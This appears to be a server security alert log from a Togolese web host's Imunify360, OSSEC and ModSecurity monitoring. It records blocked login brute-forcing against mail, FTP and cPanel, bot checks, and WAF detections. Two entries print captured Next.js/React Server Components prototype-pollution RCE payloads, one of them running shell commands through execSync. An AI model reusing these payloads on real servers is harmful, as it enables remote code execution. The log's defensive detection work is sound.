44.255.118.119 - - [13/Jun/2026:15:26:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10249582&pdata=https%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b%252F956caa81b3c8ac8e2112f34b9feb7a31%252F9e748621ef5af3193726f97634097a23%252F1891d514c9aaf242756eccd4b76f285b%252Findex.php%253Fcmd%253Dnewupld&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781364358 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/f3fcede3ceb48531317d565cce982d2b/956caa81b3c8ac8e2112f34b9feb7a31/9e748621ef5af3193726f97634097a23/1891d514c9aaf242756eccd4b76f285b/index.php?cmd=newupld" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.114 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:44.255.118.119


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 79.108.218.58
country_id: 1562822
description:
Jun 13 15:28:22 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 79.108.218.58 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 102.64.154.25
country_id: 2363686
description:
102.64.154.25 - - [13/Jun/2026:15:28:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10445681&pdata=https%253A%252F%252Fdirect7.tg%252Ftag%252Fock-soo-park%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781364489 HTTP/2.0" 404 561 direct7.tg "https://www.google.tg/" "Mozilla/5.0 (Linux; Android 11; SM-A226B/DSN) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6834.83 Mobile Safari/537.36 EdgA/132.0.2957.115" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:102.64.154.25


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 102.64.153.42
country_id: 2363686
description:
102.64.153.42 - - [13/Jun/2026:15:28:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10445681&pdata=https%253A%252F%252Fdirect7.tg%252Ftag%252Fock-soo-park%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781364489 HTTP/2.0" 302 0 direct7.tg "https://direct7.tg/" "Mozilla/5.0 (Android 13; Mobile; rv:129.0) Gecko/129.0 Firefox/129.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:102.64.153.42


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.70
country_id: 130758
description:
Jun 13 15:30:01 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.70 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 102.64.154.25
country_id: 2363686
description:
102.64.154.25 - - [13/Jun/2026:15:29:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12938339&pdata=https%253A%252F%252Fdirect7.tg%252Ftag%252Freformes-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781364540 HTTP/2.0" 302 0 direct7.tg "https://direct7.tg/" "Mozilla/5.0 (Linux; Android 11; SM-A226B/DSN) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6834.83 Mobile Safari/537.36 EdgA/132.0.2957.115" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:102.64.154.25


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.137.67.153
country_id: 1210997
description:
103.137.67.153 - - [13/Jun/2026:15:29:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10078569&pdata=https%253A%252F%252Ftogodailynews.tg%252Fincendie-du-marche-dagoe-assiyeye-les-importateurs-et-grossistes-mobilises-pour-soutenir-les-victimes%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781364579 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/incendie-du-marche-dagoe-assiyeye-les-importateurs-et-grossistes-mobilises-pour-soutenir-les-victimes/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.7838.1244 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.137.67.153


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 102.64.154.25
country_id: 2363686
description:
102.64.154.25 - - [13/Jun/2026:15:29:53 +0000] "GET /tag/reformes-au-togo/ HTTP/2.0" 499 0 direct7.tg "https://direct7.tg/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12938339&pdata=https%253A%252F%252Fdirect7.tg%252Ftag%252Freformes-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781364540" "Mozilla/5.0 (Linux; Android 11; SM-A226B/DSN) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6834.83 Mobile Safari/537.36 EdgA/132.0.2957.115" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:102.64.154.25


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.78.54.14
country_id: 1668284
description:
2026-06-13 15:31:32 dovecot_login authenticator failed for H=([1.250.67.190]) [211.78.54.14]:49610: 535 Incorrect authentication data (set_id=dasha9198@atms.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.78.54.14
country_id: 1668284
description:
Jun 13 15:31:30 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.78.54.14 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 38.210.181.249
country_id: 3469034
description:
38.210.181.249 - - [13/Jun/2026:15:37:46 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6909549&pdata=https%253A%252F%252Ftogodailynews.tg%252Ftransferts-monetaires-60-500-menages-togolais-beneficiaires%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781365064 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/transferts-monetaires-60-500-menages-togolais-beneficiaires/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.1831.1786 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:38.210.181.249


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 184.22.22.46
country_id: 1605651
description:
184.22.22.46 - - [13/Jun/2026:15:37:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10131865&pdata=https%253A%252F%252Feducplusmedia.tg%252F2025%252F07%252F13%252Fgaza-pres-de-800-morts-en-attente-daide-de-60-jours%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781365078 HTTP/2.0" 302 0 educplusmedia.tg "https://educplusmedia.tg/2025/07/13/gaza-pres-de-800-morts-en-attente-daide-de-60-jours/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.1646.1270 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:184.22.22.46


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.245.237.137
country_id: 798544
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:POST http:/togodailynews.tg:80/wp-admin/admin-ajax.php HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.95.108.109
country_id: 953987
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/?wmcAction=wmcTrack&action_name=Le Groupe de la BM et NEXI vont renforcer les investissements dans les pays en d\xc3\xa9veloppement | TOGODAILYNEWS&siteId=1&rec=1&rand=999921&h=23&m=38&s=36&url=http:/togodailynews.tg/le-groupe-de-la-bm-et-nexi-vont-renforcer-les-investissements-dans-les-pays-en-developpement/&uid=0&pid=14660&visitorId=b2a28cec848daa88&fvts=1781365116&vc=1&idn=0&refts=0&lvts=1781365116&fullRef=togodailynews.tg/les-industries-extractives-sources-dinvestissements-au-togo&send_image=1&cookie=1&res=375x812&gtms=1940&pvId=5lsc1m&browser=Chrome_50&os=iOS_11.0.0&device=Mobile HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.132.249.181
country_id: 1210997
description:
103.132.249.181 - - [13/Jun/2026:15:40:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9596616&pdata=https%253A%252F%252Ftogodailynews.tg%252Ftogo-vers-lamelioration-des-conditions-de-travail-du-personnel-des-hotels-detat%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781365237 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/togo-vers-lamelioration-des-conditions-de-travail-du-personnel-des-hotels-detat/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2861.1213 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.132.249.181


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 79.108.218.58
country_id: 1562822
description:
Jun 13 15:43:29 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 79.108.218.58 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.140.160.161
country_id: 298795
description:
2026-06-13 15:46:53 dovecot_plain authenticator failed for H=(hhiymrm9pqqwhkoxdvvjxt1z5ht) [31.140.160.161]:57186: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.239.77.14
country_id: 3996063
description:
Jun 13 15:47:45 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.239.77.14 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 177.140.15.16
country_id: 3469034
description:
177.140.15.16 - - [13/Jun/2026:15:48:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12950988&pdata=https%253A%252F%252F24heureinfo.tg%252Fafrique%252Fpage%252F24%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781365703 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/afrique/page/24/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.9770.1636 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:177.140.15.16


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.31.165.31
country_id: 1814991
description:
Jun 13 15:49:34 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.31.165.31 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.74.68.23
country_id: 1835841
description:
Jun 13 15:49:51 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.74.68.23 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.74.68.23
country_id: 1835841
description:
2026-06-13 15:49:53 dovecot_login authenticator failed for H=([211.253.10.61]) [220.74.68.23]:42963: 535 Incorrect authentication data (set_id=dasha9198)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.31.165.31
country_id: 1814991
description:
2026-06-13 15:49:36 dovecot_login authenticator failed for H=([174.64.199.77]) [111.31.165.31]:11265: 535 Incorrect authentication data (set_id=dasha9198@atms.tg)


plugin: modsec
rule: 77093094
abuser: 43.201.8.223
country_id: 1835841
domain: www.lasnbtg.snb.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('echo $((41*271)) | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 43.201.8.223
country_id: 1835841
domain: www.lasnbtg.snb.tg
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/phpinfo.php.bak||User:bighostingsnbd||


plugin: modsec
rule: 77142201
name: IM360 WAF: Possible enumeration of sensitive data (dirb)
abuser: 43.201.8.223
country_id: 1835841
domain: www.lasnbtg.snb.tg
description:
IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||RSV:8.16||T:APACHE||MV:phpinfo.php~||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.144.215
country_id: 690791
description:
Jun 13 15:52:59 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.144.215 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.25.67.181
country_id: 1814991
description:
Jun 13 15:53:12 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.25.67.181 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.144.212.47
country_id: 690791
description:
Jun 13 15:53:17 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.144.212.47 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.144.212.47
country_id: 690791
description:
2026-06-13 15:53:19 dovecot_plain authenticator failed for H=([45.144.212.47]) [45.144.212.47]:53230: 535 Incorrect authentication data (set_id=supporthosting@cafe.tg)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 45.144.212.47
country_id: 690791
description:
Jun 13 15:53:36 ns5 pure-ftpd[2525008]: (?@45.144.212.47) [WARNING] Authentication failed for user [supporthosting]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.3.220.88
country_id: 798544
description:
[2026-06-13 15:56:12 +0000] info [cpaneld] 195.3.220.88 - a.mathey "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.mathey (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.106.129
country_id: 3469034
description:
Jun 13 15:56:22 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.106.129 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.3.220.88
country_id: 798544
description:
[2026-06-13 15:58:14 +0000] info [cpaneld] 195.3.220.88 - dev03 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dev03 (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.148.154
country_id: 690791
description:
Jun 13 15:58:47 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.148.154 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.43.107.85
country_id: 298795
description:
2026-06-13 15:58:49 dovecot_plain authenticator failed for H=(sdsydu0rpbks14syriw) [213.43.107.85]:54042: 535 Incorrect authentication data (set_id=welldrive@confortis.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.214.53
country_id: 732800
description:
2026-06-13 15:59:11 dovecot_plain authenticator failed for H=(w7uljr7l7civxl1o07rgs) [104.28.214.53]:58614: 535 Incorrect authentication data (set_id=admin@togocarrierebetons.com)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 45.144.212.47
country_id: 690791
description:
Jun 13 15:59:58 ns5 pure-ftpd[2528032]: (?@45.144.212.47) [WARNING] Authentication failed for user [belmonde.zossou]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.230.3.95
country_id: 6252001
description:
2026-06-13 15:59:27 dovecot_plain authenticator failed for H=(oq1wpj86kzy0egvgtjoff4wtr9x9we) [47.230.3.95]:35649: 535 Incorrect authentication data (set_id=admin@togocarrierebetons.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.144.212.47
country_id: 690791
description:
2026-06-13 15:59:32 dovecot_plain authenticator failed for H=([45.144.212.47]) [45.144.212.47]:59417: 535 Incorrect authentication data (set_id=belmonde.zossou@mesyscom.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.230.3.95
country_id: 6252001
description:
Jun 13 15:59:25 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.230.3.95 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.144.212.47
country_id: 690791
description:
Jun 13 15:59:30 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.144.212.47 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.3.220.88
country_id: 798544
description:
[2026-06-13 16:00:44 +0000] info [cpaneld] 195.3.220.88 - nwvfmxat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.241.106
country_id: 2750405
description:
Jun 13 16:01:32 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.241.106 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.92.241.106
country_id: 2750405
description:
2026-06-13 16:01:34 dovecot_login authenticator failed for H=server.fusionmail.shop (0ID3WNHy) [91.92.241.106]:58307: 535 Incorrect authentication data (set_id=ghmfa01)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.92.241.106
country_id: 2750405
description:
2026-06-13 16:02:55 dovecot_login authenticator failed for H=server.fusionmail.shop (yTFU9ExSM) [91.92.241.106]:61589: 535 Incorrect authentication data (set_id=ghmfa01)


plugin: modsec
rule: 77350027
name: IM360 WAF: RCE Vulnerability in Elementor WordPress Plugin (CVE-2022-1329)
abuser: 102.64.159.118
country_id: 2363686
domain: brmn.tg
description:
IM360 WAF: RCE Vulnerability in Elementor WordPress Plugin (CVE-2022-1329)||WPU:admin||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.241.106
country_id: 2750405
description:
Jun 13 16:02:53 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.241.106 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.142
country_id: 1880251
description:
47.128.96.142 - - [13/Jun/2026:16:03:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6855789&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fsuper-contaminateur%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781366591 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/super-contaminateur/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.142


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.241.106
country_id: 2750405
description:
Jun 13 16:03:35 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.241.106 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.92.241.106
country_id: 2750405
description:
2026-06-13 16:03:37 dovecot_login authenticator failed for H=server.fusionmail.shop (IJuI3G1) [91.92.241.106]:57408: 535 Incorrect authentication data (set_id=ghmfa01)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.3.220.88
country_id: 798544
description:
[2026-06-13 16:04:49 +0000] info [cpaneld] 195.3.220.88 - aogodmm "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.241.106
country_id: 2750405
description:
Jun 13 16:04:20 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.241.106 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.92.241.106
country_id: 2750405
description:
2026-06-13 16:04:22 dovecot_login authenticator failed for H=server.fusionmail.shop (W4PKsZ) [91.92.241.106]:64285: 535 Incorrect authentication data (set_id=ghmfa01)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.3.220.88
country_id: 798544
description:
[2026-06-13 16:05:35 +0000] info [cpaneld] 195.3.220.88 - esso "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user esso (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.92.241.106
country_id: 2750405
description:
2026-06-13 16:05:49 dovecot_login authenticator failed for H=server.fusionmail.shop (iKsFnGt) [91.92.241.106]:56463: 535 Incorrect authentication data (set_id=ghmfa01)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.241.106
country_id: 2750405
description:
Jun 13 16:05:47 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.241.106 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.71.21.70
country_id: 1562822
description:
2026-06-13 16:07:55 dovecot_login authenticator failed for H=([146.56.225.248]) [27.71.21.70]:36286: 535 Incorrect authentication data


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.36.207.63
country_id: 286963
domain: www.ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ca-togo.org/objectif HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.172.74.244
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1378143664 HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.13.230
country_id: 6252001
description:
[2026-06-13 16:09:44 +0000] info [cpaneld] 195.63.13.230 - ylhgcaui "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.220.101.37
country_id: 2921044
description:
2026-06-13 16:10:54 dovecot_plain authenticator failed for H=tor-exit-37.for-privacy.net (j1pg94d75prgahpeu) [185.220.101.37]:64395: 535 Incorrect authentication data (set_id=admin@togocarrierebetons.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.220.101.37
country_id: 2921044
description:
Jun 13 16:10:52 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.220.101.37 has been locked due to Imunify RBL


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 196.171.11.166
country_id: 2363686
domain: civilemagazine.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.16||T:APACHE||MV:/wp-json/wp/v2/users/10?context=view&_fields=id%2Cname&_locale=user||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 79.108.218.58
country_id: 1562822
description:
Jun 13 16:13:43 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 79.108.218.58 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.25.67.181
country_id: 1814991
description:
Jun 13 16:13:45 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.25.67.181 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.3.220.88
country_id: 798544
description:
[2026-06-13 16:16:07 +0000] info [cpaneld] 195.3.220.88 - websitecpanel "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.190.154.100
country_id: 6252001
description:
Jun 13 16:15:52 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 146.190.154.100 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 35.192.232.168
country_id: 6252001
domain: mail.moodle.free.netmaster.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"data_5dfd796f\":0.0,\"ns_30ed4deb\":\"cea5\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"status\":\"resolved_model\",\"x_9ef7bb0b\":\"5e5a4ba81ed77dd8\",\"_response\":{\"_prefix\":\"var nqg=arguments[0x1];var sfps=nqg;try{var _v=((0,eval)(global[[\\\"Bu\\\",\\\"ff\\\",\\\"e\\\",\\\"r\\\


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 79.108.218.58
country_id: 1562822
description:
Jun 13 16:28:48 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 79.108.218.58 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.253.159.70
country_id: 732800
description:
Jun 13 16:28:56 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.253.159.70 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.3.220.88
country_id: 798544
description:
[2026-06-13 16:29:16 +0000] info [cpaneld] 195.3.220.88 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 39.53.83.245
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/938478 HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.111.157.3
country_id: 6252001
description:
[2026-06-13 16:30:16 +0000] info [whostmgrd] 172.111.157.3 - radiotogocomtg "POST /login?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.187.246.95
country_id: 1562822
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/togo-322-milliards-cfa-pour-renforcer-la-securite-nationale/ HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 193.151.190.194
country_id: 6252001
domain: 24heureinfo.tg
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS_NAMES:gt;If you have any issues concerning wherever and how to use ||MV:gt;If you have any issues concerning wherever and how to use ||RSV:8.16||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-13 16:31:41 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:36410: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.187.246.95
country_id: 1562822
domain: togodailynews.tg
description:
